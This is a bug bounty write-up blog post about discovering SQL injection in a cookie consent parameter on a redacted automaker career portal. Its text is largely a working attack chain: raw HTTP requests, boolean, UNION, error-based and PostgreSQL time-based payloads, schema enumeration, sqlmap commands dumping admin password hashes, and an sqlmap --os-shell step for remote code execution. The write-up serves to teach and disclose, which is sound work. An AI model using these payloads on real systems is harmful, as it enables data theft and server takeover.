Hi, I’m nav1n0x — a Database Administrator by profession, and a security researcher and bug bounty hunter by passion, with a focus on real-world vulnerabilities that are often overlooked. I enjoy digging into edge-case logic, forgotten parameters, and turning small assumptions into critical discoveries — like this SQL injection hidden in a cookie banner. My goal is to share actionable, technical write-ups that help both researchers and developers understand how these vulnerabilities happen — and more importantly, how to prevent them.
In the world of bug bounty hunting, we’re often trained to chase the obvious: login pages, search bars, admin panels. But every now and then, a bug shows up where you least expect it — like a cookie banner.
⚠️Note: For responsible disclosure purposes, I have intentionally changed or redacted the majority of real parameter names, values, and endpoint paths to prevent the original target from being identified or reverse-engineered. The request structure and logic remain technically accurate for educational purposes.
In this article, I’ll walk you through how I found a SQL Injection vulnerability in a cookie consent parameter on a career portal belonging to a major global automobile company (not BMW!). What seemed like a boring UX feature turned into:
✅ Full database access
✅ Admin credential extraction
✅ Admin panel takeover (using decrypted passwords)
✅ Remote Code Execution (RCE)
Let’s break it down technically and clearly — but without boring you :).
The target was part of a private bug bounty program hosted on a major bug bounty platform, with a wide variety of web and mobile applications in scope. One of the targets included a mobile application that featured a link to apply for jobs, redirecting users to a dedicated career portal. This portal allowed applicants to submit resumes and manage their application profiles. As expected under GDPR compliance, the site implemented a cookie consent banner, enabling users to configure their privacy preferences. What appeared to be a standard UX component turned out to be the entry point to a much deeper vulnerability. The banner had the usual (Please note, I have changed the real banner text to avoid guessing the target) :
✅ “Accept All”
🚫 “Decline”
⚙️ Settings (a menu to store user preferences)
What most devs overlook is this: when users click those buttons, it triggers a backend request. In this case, a cookieConsent
parameter was passed via POST request. And I found it was injectable.
I was doing some routine recon using Burp Suite, logging all user interactions to identify interesting or exposed parameters. With live auditing enabled, I was capturing every request in real-time. At some point — without giving it much thought — I clicked around the cookie banner, hitting the “Accept All,” “Decline,” and even the “Settings” options. It was just part of the usual flow. But thanks to Burp’s traffic logging, that seemingly harmless interaction turned out to reveal a much more serious issue hiding under the surface.
When we talk about SQL injection, most people immediately think of the usual suspects: Login forms, Search fields and Filters and AJAX requests.
But this one? It was hiding in plain sight — inside a cookie consent banner, triggered by simple UX interactions like “Accept All” or “Decline”. That’s what made it rare. This wasn’t an input field, nor was it exposed directly in a form. It was a frontend-driven privacy setting, passed silently as a parameter when a user clicked a button — a parameter like cookieConsent=1
or cookieConsent=0
.
Developers often assume that if input comes from a button click, it’s safe.
But here’s the truth:
Attackers don’t click buttons. We forge requests.
That flawed assumption — that frontend-controlled parameters are trusted and untouchable — was the exact reason this vulnerability existed.
This bug highlights a critical lesson: Any parameter reachable by a client is fair game, regardless of how “harmless” it may seem.
POST /careers?cookieConsent=1 HTTP/1.1
Host: [careers.redacted-domain]
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=
Content-Length: 254
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Connection: Keep-AliveInputAddress=123testadd&UniqueID=xxxxx&InputCity=Tokyo&[email protected]&
InputName=UserTEST&InputNote=test&InputPhone=123456000&InputSName=UserTEST&
InputTitle=Mr.&InputZip=123000&jobID=866&Agree=agree1
As usual, I began testing each parameter captured during live traffic analysis in Burp Suite. One of the requests stood out and I changed the request to:
POST /careers?cookieConsent=1'+AND+1=2--
And this caused the server to respond with a 500 Internal Server Error — a clear indication that the parameter was being unsafely injected into a SQL statement. The server was not only parsing the input but also reflecting the error, confirming the presence of a SQL injection vulnerability or something similar.
The backend logic likely looked something like this:
SELECT * FROM cookie_preferences WHERE consent_status = '$cookieConsent'
And because there was: No input validation, No sanitization, No prepared statements etc. And due to this silly oversight by the dev, I could inject arbitrary SQL commands. A privacy feature became an attack surface.
After observing the 500 Internal Server Error, I decided to investigate the request carrying the cookieConsent
parameter further. As with all potential injection points, I followed a structured approach — starting with manual tampering and gradually escalating to classic SQLi patterns I’ve had success with in previous tests.
To start, I tried a simple boolean-based test to determine if the backend was processing SQL logic directly from the parameter:
✅ cookieConsent=1'+AND+1=1- -
→ The page loaded normally.
❌ cookieConsent=1'+AND+1=2- -
→ The page broke and returned a 500 Internal Server Error.
This classic toggle test is one of my go-to methods to quickly detect boolean-based SQL injection, especially when there’s no immediate output difference but backend behavior changes. The consistent error behavior on falsy conditions confirmed one thing: this input was unsafely handled in a SQL context.
To ensure it wasn’t just bad input validation or broken logic, I injected a malformed SQL string to deliberately trigger a database-level syntax error:
cookieConsent=1'
The server responded with another 500 Internal Server Error, with a suspicious delay — pointing toward an unhandled SQL exception rather than a normal validation failure.
This told me two important things:
1. The parameter is not sanitized.
2. The query execution engine is surfacing backend errors.
Next, I stepped it up with a UNION-based payload — something like this:
cookieConsent=1'+UNION+SELECT+NULL,version()--
This one is a personal favorite for quick detection. If successful, it usually exposes the database version inline, especially on pages that reflect database-driven content, and it worked. The page returned:
PostgreSQL 13.10 (Ubuntu))
The response reflected the PostgreSQL version (something like PostgreSQL 13.10 (Ubuntu)
), running on Ubuntu. It wasn’t just injectable — it was reflecting backend data directly. At this point, the vulnerability was fully confirmed.
Step 4: Fingerprinting the Execution Context
I injected the following to confirm column count:
cookieConsent=1'+ORDER+BY+1--
Which failed, while:
cookieConsent=1'+ORDER+BY+2--
→ Successful. This meant the original query likely selected 2 columns, and I could now align UNION SELECTs accordingly. So I tried:
cookieConsent=1'+UNION+SELECT+NULL,version()--
The response reflected the PostgreSQL version (something like PostgreSQL 13.10 (Ubuntu)).
At this point, I had:
I also tested for execution delay using time-based blind SQLi using:
cookieConsent=agree1;SELECT+PG_SLEEP(10)--2-5)
POST /careers?cookieConsent=1 HTTP/1.1
Host: [careers.redacted-domain]
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=
Content-Length: 254
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Connection: Keep-AliveInputAddress=123testadd&UniqueID=xxxxx&InputCity=Tokyo&[email protected]&
InputName=UserTEST&InputNote=test&InputPhone=123456000&InputSName=UserTEST&
InputTitle=Mr.&InputZip=123000&jobID=866&cookieConsent=agree1;SELECT+PG_SLEEP(10)--2-5)
The response delayed around 11 seconds. This verified time-based SQL injection was possible, and would’ve been my fallback even if reflection wasn’t present.
The cookieConsent
parameter contains a PostgreSQL time-based SQL injection payload:
;SELECT+PG_SLEEP(10) - 2–5)
HTTP/1.1 200 OK
) indicates the server accepted the payload, and since the response was delayed, it strongly suggests successful blind time-based SQL injection.X-Powered-By: PHP/5.6.40
and X-Powered-By: ASP.NET
reveal a mixed backend stack — a possible indicator of misconfigurations or legacy tech components.Step 5: Fingerprinting and Enumeration
I moved on to database enumeration with:
cookieConsent=1'+UNION+SELECT+NULL,current_database()--
And:
cookieConsent=1'+UNION+SELECT+NULL,current_user--
Which returned:
xxx_portal
)xxx_user
)I then attempted error-based enumeration using PostgreSQL string concatenation:
cookieConsent=1'+AND+1=(SELECT+CAST(('abc'||(SELECT+table_name+FROM+information_schema.tables+LIMIT+1))+AS+TEXT))--
This triggered a parsing error with table name leakage — confirming error-based SQLi was also possible.
Though I have a DBMS, HostName and Current user from manual approach, I decided to go forward with SQLMAP:
sqlmap -r request.txt -p cookieConsent --level 5 --risk 3 --random-agent --time-sec=10 --threads=2 --dbms=PostgreSQL
And within a matter of minutes, SQLMAP was able to find the injection point and showed me all 3 types of vulnerabilities.
And I went on dumping all admin and staff hashed passwords:
The App had a database **** that contains the details of job applicants, their contact details, email, username, hashed passwords etc.
The credentials could have worked on an admin subpath /admin
, I could have access to a dashboard that manages the following, but I decided not to decrypt the password, as I know it would take longer.
However, the only thing I wanted to test was RCE, so fireup my SQLMAP using the following command:
sqlmap -r request.txt -p cookieConsent --level 5 --risk 3 --random-agent --time-sec=10 --threads=2 --dbms=PostgreSQL --os-shell
And here it is:
This was one of the most unexpected critical bugs I’ve found. A cookie consent banner — a tool designed to improve privacy — turned into a full-blown entry point for database compromise and server control.
Follow @nav1n0x for more real-world writeups, red team findings, and vulnerability chaining techniques.